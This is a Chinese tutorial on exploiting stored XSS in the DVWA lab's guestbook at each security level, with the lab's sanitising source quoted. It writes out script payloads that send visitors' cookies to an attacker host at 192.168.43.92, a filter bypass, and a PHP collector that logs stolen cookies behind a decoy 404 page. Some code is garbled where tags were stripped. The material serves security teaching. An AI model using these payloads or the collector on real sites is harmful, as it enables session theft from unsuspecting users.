前章:
XSS(Cross Site Script):全称为跨站脚本攻击,为了与CSS(Cascading Style Sheet)层叠样式表有所区别,所以在安全领域称之为XSS。
XSS攻击:通常指黑客通过HTML注入(控制输入变量),插入恶意脚本,从而在被攻击者浏览网页时,加载并执行攻击者恶意制造的网页程序,通常指JS,实际可包含java、VBscript、ActiveX、Flash、html,攻击成功后,攻击者可能得到一定的权限,私密网页内容,会话,cookie等。
之前我们已经介绍过XSS反射型漏洞的挖掘以及攻击方法,今天我们来介绍XSS存储型漏洞的挖掘与攻击方法,同XSS反射型类似,原理相同,区别在于,存储型是将输入的将恶意代码上传或者存储到漏洞服务器中,当被攻击者浏览包含该恶意代码的页面,就可能执行这段恶意代码,存储型的XSS可以永久存储于网页的服务器中。
存储型的危害相当的大,将恶意代码存储在服务器中,当任何一个用户访问时都有可能触发恶意代码的执行,从而导致用户的cookie被盗取等。
存储型XSS一般出现在网站留言板、评论、等可以与服务器交互的位置,在DVWA-XSS(Stored)模块中模拟了一种评论留言的留言板
既然输入的内容能存入服务器,并回显在WEB页面,那我们可以尝试一下标签是否能执行
<script>alert(1)</script>
此时我们发现了存储型XSS漏洞,此时我们可以修改攻击载荷
,加入一些恶意代码执行
在low等级下,Stored型XSS的页面回显如下,我们在留言板中输入name和message会存储在服务器中,并在页面回显出来,在low等级下必然存存储型XSS,我们可以直接实施攻击。
首先,我们在网页源代码中找出回显模块,我们以message为例
在回显this is test!时使用标签
this is test!
此时我们可以尝试打破
标签闭合,在输入时加入其它函数或者标签。
弹窗函数:
我们使用
标签打破
闭合,此时alert()函数会执行,弹框中显示1
此时我们可以进行一些有攻击性的操作,比如在留言板中构造出获取cookie值的函数,盗用进入该留言板的用户的cookie值。
document.loaction: 指定cookie传送站点
192.168.43.92: 为攻击者服务器
document.cookie: 获取进入留言板的用户的cookie值
注:message长度有限制,我们可以修改源码的长度限制,然后传入下面的恶意代码
<script>document.location='http://192.168.43.92/xss.php?cookie=' +document.cookie;</script>
xss.php: 为LOW等级下获取cookie的处理方法,以及迷惑性界面的定义
//xss.php
$cookie=$_GET['cookie']; //获取cookie变量的值
$log = fopen("cookie.txt","a+"); //创建并打开一个cookie.txt的文本,权限为读写权限,保留原本文件内容
fwrite($log,$cookie."/n"); //把cookie的值写入创建的文本
fclose($log); //关闭文本文件
?>
//为迷惑性404 html页面
[404源码](https://www.haolizi.net/example/view_14699.html)
当用户访问该留言板页面时,恶意代码执行,通过document.cookie函数获取当前用户的cookie值,赋给站点xss.php文件,xss.php文件中定义也文件操作,将获取的cookie写入站点cookie.txt文件,此时攻击者就获取了用户的cookie值
当用户访问该留言板时,恶意代码执行,会跳到我们xss.php中定义的内容
迷惑性页面404源码
此时恶意代码已经执行,cookie.txt文件创建成功,用户cookie已经写入cookie.txt文件
在DVWA中对cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用被攻击者的cookie,直接与服务器获取连接
在此处
LOW等级下的存储型XSS源码:
XSS(Stroed):
trim() 函数: 移除字符串两侧的空白字符或其他预定义字符
stripslashes()函数: 删除反斜杠"/"
mysql_real_escape_string()函数: 转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( ''
. mysql_error() . '
' );
//mysql_close();
}
?>
在Medium等级下必然存在一些过滤,我们测试过程中发现,在message中使用常用的绕过方法都不能绕过过滤策略
我们测试一下在name栏,能否执行
标签,在测试过程中,name栏也有长度限制,我们修改其源码,增大长度插入标签
我们测试出在name栏中正常的也被做了过滤策略
绕过方法
标签错误路径绕过:
同low等级一样,我们构造的恶意代码为:
<ScRipt>document.location='http://192.168.43.92/xss1.php?cookie=' +document.cookie;</ScRipt>
与low等级不同的是,
xss1.php: 为Medium等级下获取cookie的处理方法、迷惑性链接
创建的保存用户cookie的文档为,cookie1.txt文本文档
$cookie = $_GET['cookie']; //获取cookie变量的值
$log = fopen("cookie1.txt","a+"); // 创建并打开一个cookie1.txt的文本,权限为读写权限,保留原本文件内容
fwrite($log,$cookie ."\n"); //把cookie的值写入创建的文本文档
fclose($log); //关闭文本
?>
+//迷惑性404页面
[404源码](https://www.haolizi.net/example/view_14699.html)
当用户访问该留言板页面时,恶意代码执行,通过document.cookie函数获取当前用户的cookie值,赋给站点xss1.php文件,xss1.php文件中定义也文件操作,将获取的cookie写入站点cookie1.txt文件,此时攻击者就获取了用户的cookie值
当用户访问该留言板时,恶意代码执行,会跳到我们xss1.php中定义的内容
迷惑性页面404源码
cookie1.txt创建成功
cookie值写入cookie1.txt文本文档
同low等级一样,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接
Medium等级下的存储型XSS源码:
在Medium等级中,对message模块有强大的过滤,而对于name模块的过滤就比较弱了。
XSS(Stroed):
strip_tags() 函数: 剥去字符串中的 HTML、XML 以及 PHP 的标签,在此处剥除了message中的标签。
mysql_real_escape_string()函数: 转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
addslashes() 函数: 返回在预定义字符之前添加反斜杠的字符串
htmlspecialchars() 函数: 把预定义的字符转换为 HTML 实体。
if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '
也被过滤,不能绕过,当然img标签可以绕过,我们看high等级下的源码
High等级下的存储型XSS源码:
XSS (Stored) Source:preg_replace()函数: 函数用于正则表达式的搜索和替换,替换为空,i为不区分大小写
同DVWA靶机中High等级下的反射型XSS类似,都用到了preg_replace()函数,它彻底的过滤了
,不能绕过,同时针对于message模块,也有相当强大的过滤策略,message不存在存储型XSS漏洞
' ); //mysql_close(); } ?>if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '
'. mysql_error() . '
绕过方法:
使用其他标签,比如 ,img调用图片,src所描述路径不存在,会导致onerror执行,从而时alert(1)函数触发,回显1
在impossible等级下,针对于message与name模块都使用 stripslashes()、mysql_real_escape_string()、以及htmlspecialchars()函数
这给我们对于防范存储型XSS提供一个范例
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysql_real_escape_string( $name );
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>